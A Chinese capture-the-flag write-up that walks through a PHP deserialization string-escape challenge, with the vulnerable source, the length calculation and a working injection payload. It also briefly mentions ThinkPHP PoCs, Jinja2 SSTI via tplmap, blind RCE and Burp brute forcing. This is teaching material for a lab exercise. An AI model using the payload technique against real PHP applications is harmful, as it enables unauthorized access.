云曦期末复现

serialize

代码审计,给1传参,满足password的值为yunxi,那么反序列化前就会执行__wakeup函数,从而得到flag.php,但是password的值被定死为1,利用PHP反序列化的字符逃逸:

error_reporting(0);
highlight_file(__file__);
class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='yunxi')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('ctf','hello1',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
wrong password

第一次接触,先了解一下它:PHP反序列化字符串逃逸
此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
此类题有两个共同点:

1.php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
2.总是先进行序列化,再进行替换修改操作。
把源码扒下来在本地phpstudy调试一下:

云曦期末复现_第1张图片

理想序列化:O:1:"a":2:{s:5:"uname";i:1;s:8:"password";s:5:"yunxi";}

 云曦期末复现_第2张图片

现实序列化:O:1:"a":2:{s:5:"uname";s:32:"hello1";s:8:"password";s:5:"yunxi"}";s:8:"password";i:1;}

云曦期末复现_第3张图片 

需要构造字符逃逸";s:8:"password";s:5:"yunxi";}闭合前面的"、{,让后面的password=1无法被提取。
";s:8:"password";s:5:"yunxi";}这一串字符串长度为30,存在str_replace将“ctf”替换成“hello1”,使字符串长度增加3:

function filter($string){
    return str_replace('ctf','hello1',$string);
}

写10个“ctf”就可以构造30字符:

ctfctfctfctfctfctfctfctfctfctf";s:8:"password";s:5:"yunxi";}
1
得到flag:

云曦期末复现_第4张图片

1. 涉及到的think php的漏洞直接在网上找poc就可以得到flag

2.师姐新学的搭网站-ssti注入,可以确认之后直接用tplmap一把唆,也可以纯手注,是jinja2模板

3.rce-是无回显注入 其中有大量的绕过

4.签到题涉及到bp爆破,因为有的页面是x..,爆破出来长度不一样

你可能感兴趣的:(android)